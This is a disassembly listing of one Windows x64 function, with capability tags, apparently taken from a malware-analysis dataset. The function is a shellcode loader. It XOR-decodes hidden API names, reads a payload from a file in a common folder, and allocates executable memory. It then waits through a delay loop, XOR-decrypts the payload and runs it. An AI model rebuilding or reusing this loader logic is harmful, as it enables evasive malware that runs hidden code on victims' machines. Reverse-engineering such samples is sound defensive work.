Function at 0x1400019f0
Capabilities:
Encode data using xor
Get common file path
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x320], rax
movzx eax, byte [0x140003528]
mov r14, r9
movsd xmm0, qword [str.::::_fk]
mov r12, r8
movsd qword [rsp + 0x60], xmm0
mov r13, rdx
xor byte [rsp + 0x60], 0xc
xor ecx, ecx
xor byte [rsp + 0x61], 0xc
xor byte [rsp + 0x62], 0xc
xor byte [rsp + 0x63], 0xc
xor byte [rsp + 0x64], 0xc
xor byte [rsp + 0x65], 0xc
xor byte [rsp + 0x66], 0xc
xor byte [rsp + 0x67], 0xc
mov qword [rsp + 0x48], r9
xor r9d, r9d
mov byte [rsp + 0x68], al
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], r8
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x2e]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xor edi, edi
test eax, eax
js 0x140001bcd
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, edi
lea r15, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
movabs rsi, 0x842108421084211
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rsi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 5
imul rax, rax, 0x3e
sub rcx, rax
movzx eax, byte [rcx + r15]
mov byte [rsp + rbx + 0x70], al
inc rbx
cmp rbx, 6
jl 0x140001ac0
mov byte [rsp + 0x76], dil
lea rcx, [rsp + 0x70]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], dil
jne 0x140001b10
lea rdx, [rbp - 0x70]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rdx + rcx], dil
jne 0x140001b24
add rax, rcx
cmp rax, 0x12c
jae 0x140001bcd
mov rcx, rdi
nop
movzx eax, byte [rbp + rcx - 0x70]
mov byte [rbp + rcx + 0xc0], al
lea rcx, [rcx + 1]
test al, al
jne 0x140001b40
lea rcx, [rbp + 0xc0]
dec rcx
nop
cmp byte [rcx + 1], dil
lea rcx, [rcx + 1]
jne 0x140001b60
movzx eax, word [0x140003334]
lea rdx, [rbp + 0xc0]
mov word [rcx], ax
dec rdx
nop
cmp byte [rdx + 1], dil
lea rdx, [rdx + 1]
jne 0x140001b80
lea r9, [rsp + 0x70]
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r9 + r8]
mov byte [rdx + r8], cl
lea r8, [r8 + 1]
test cl, cl
jne 0x140001ba0
lea rcx, [rbp + 0xc0]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], dil
lea rcx, [rcx + 1]
jne 0x140001bc0
mov word [rcx], ax
mov rcx, rdi
movzx eax, byte [rbp + rcx + 0xc0]
mov byte [rbp + rcx + 0x1f0], al
lea rcx, [rcx + 1]
test al, al
jne 0x140001bd0
lea rcx, [rbp + 0x1f0]
dec rcx
cmp byte [rcx + 1], dil
lea rcx, [rcx + 1]
jne 0x140001bf1
lea r8, [rsp + 0x60]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001c10
lea r9, [rbp + 0xc0]
mov rdx, r14
lea r8, [rbp + 0x1f0]
mov rcx, r12
call fcn.140001010
test eax, eax
jne 0x140001fe5
movsd xmm0, qword [str._nyhyZupyA]
lea r9, [rbp - 0x70]
mov eax, dword [0x140003538]
mov r10d, edi
movsd xmm1, qword [0x140003588]
movsd qword [rbp - 0x70], xmm0
xorps xmm0, xmm0
mov dword [rbp - 0x68], eax
xor eax, eax
movups xmmword [rbp - 0x64], xmm0
mov word [rbp - 0x54], ax
movsd xmm0, qword [str._yhZupyOufe]
mov eax, dword [0x140003548]
movsd qword [rbp - 0x52], xmm0
xorps xmm0, xmm0
mov dword [rbp - 0x4a], eax
xor eax, eax
movups xmmword [rbp - 0x46], xmm0
mov word [rbp - 0x36], ax
movsd xmm0, qword [str.NyxZupe]
movzx eax, byte [0x140003558]
movsd qword [rbp - 0x34], xmm0
xorps xmm0, xmm0
mov byte [rbp - 0x2c], al
xor eax, eax
movups xmmword [rbp - 0x2b], xmm0
mov dword [rbp - 0x1b], eax
movups xmm0, xmmword [str._yh_innyrhLns]
mov byte [rbp - 0x17], al
movzx eax, word [0x140003570]
mov word [rbp - 6], ax
xor eax, eax
movups xmmword [rbp - 0x16], xmm0
mov qword [rbp - 4], rax
movups xmm0, xmmword [str.Rh_pps]
mov dword [rbp + 4], eax
lea r11d, [rax + 5]
movsd qword [rbp + 0x18], xmm1
movups xmmword [rbp + 8], xmm0
mov dword [rbp + 0x20], eax
mov word [rbp + 0x24], ax
nop word [rax + rax]
movsxd rax, r10d
lea rdx, [rbp - 0x70]
imul rcx, rax, 0x1e
mov rax, 0xffffffffffffffff
add rdx, rcx
inc rax
cmp byte [rdx + rax], dil
jne 0x140001d15
dec eax
mov r8, rdi
test eax, eax
jle 0x140001da5
cmp eax, 0x40
jb 0x140001da5
mov edx, eax
and edx, 0x8000003f
jge 0x140001d3d
dec edx
or edx, 0xffffffc0
inc edx
movdqa xmm2, xmmword [0x1400035a0]
mov ecx, eax
sub ecx, edx
movsxd rdx, ecx
lea rcx, [r9 + 0x20]
movdqu xmm0, xmmword [rcx - 0x20]
lea rcx, [rcx + 0x40]
add r8, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x60], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rcx - 0x50]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rcx - 0x40]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rcx - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x30], xmm1
cmp r8, rdx
jl 0x140001d50
movsxd rcx, eax
cmp r8, rcx
jge 0x140001dcd
lea rax, [r9 + r8]
sub rcx, r8
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0x1c
lea rax, [rax + 1]
sub rcx, 1
jne 0x140001dc0
inc r10d
add r9, 0x1e
sub r11, 1
jne 0x140001d00
lea rdx, [rbp - 0x70]
mov rcx, r12
call r14
lea rdx, [rbp - 0x52]
mov rcx, r12
mov rbx, rax
call r14
lea rdx, [rbp - 0x34]
mov rcx, r12
mov rsi, rax
call r14
lea rdx, [rbp - 0x16]
mov rcx, r12
mov r15, rax
call r14
lea rdx, [rbp + 8]
mov rcx, r13
mov r12, rax
call r14
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp + 0x1f0]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov r13, rax
lea r8d, [r9 + 1]
call rbx
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140001fe5
xor edx, edx
mov rcx, rax
call rsi
mov ecx, eax
mov ebx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r9, [rsp + 0x58]
mov qword [rsp + 0x20], rdi
mov rdx, rax
mov r8d, ebx
mov rcx, r14
mov rsi, rax
call r15
test eax, eax
je 0x140001fe5
mov edx, dword [rsp + 0x58]
lea rcx, [rsi + 0x9a]
add edx, 0xffffebfb
lea rax, [rcx + 0x13]
lea r8, [rsp + 0x78]
cmp r8, rax
ja 0x140001ec0
lea rax, [rbp - 0x75]
cmp rax, rcx
jb 0x140001ec0
movups xmm0, xmmword [rcx]
mov eax, dword [rcx + 0x10]
mov dword [rbp - 0x78], eax
movups xmmword [rsp + 0x78], xmm0
jmp 0x140001ece
movups xmm0, xmmword [rcx]
mov eax, dword [rcx + 0x10]
mov dword [rbp - 0x78], eax
movups xmmword [rsp + 0x78], xmm0
movsxd rbx, edx
mov qword [rsp + 0x60], rbx
mov byte [rbp - 0x75], dil
mov qword [rsp + 0x50], rdi
call r12
mov rcx, rax
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x60]
mov dword [rsp + 0x20], 0x1000
xor r8d, r8d
lea rdx, [rsp + 0x50]
call r13
test eax, eax
js 0x140001fdc
mov rdx, qword [rsp + 0x50]
mov rcx, rdi
test rbx, rbx
je 0x140001f33
nop word [rax + rax]
movzx eax, byte [rcx + rsi + 0x1405]
mov byte [rcx + rdx], al
inc rcx
cmp rcx, rbx
jb 0x140001f20
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [str.n]
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x40]
mov dword [rsp + 0x70], eax
movzx eax, byte [0x140003330]
xor byte [rsp + 0x70], 0x1e
xor byte [rsp + 0x71], 0x1e
xor byte [rsp + 0x72], 0x1e
xor byte [rsp + 0x73], 0x1e
mov byte [rsp + 0x74], al
call qword [rsp + 0x48]
mov r14, rax
mov esi, 0x81
nop dword [rax + rax]
mov edx, 0x3e8
mov ecx, 1
call r14
sub rsi, 1
jne 0x140001f80
mov r9, qword [rsp + 0x50]
test r9, r9
je 0x140001fdc
test rbx, rbx
jle 0x140001fd9
mov r8, rdi
nop word [rax + rax]
mov eax, 0xcccccccd
mul edi
mov eax, edi
inc edi
shr edx, 4
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub eax, ecx
cdqe
movzx ecx, byte [rsp + rax + 0x78]
xor byte [r8 + r9], cl
inc r8
cmp r8, rbx
jl 0x140001fb0
call r9
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov eax, 1
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.140002110
mov rbx, qword [rsp + 0x470]
add rsp, 0x430
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret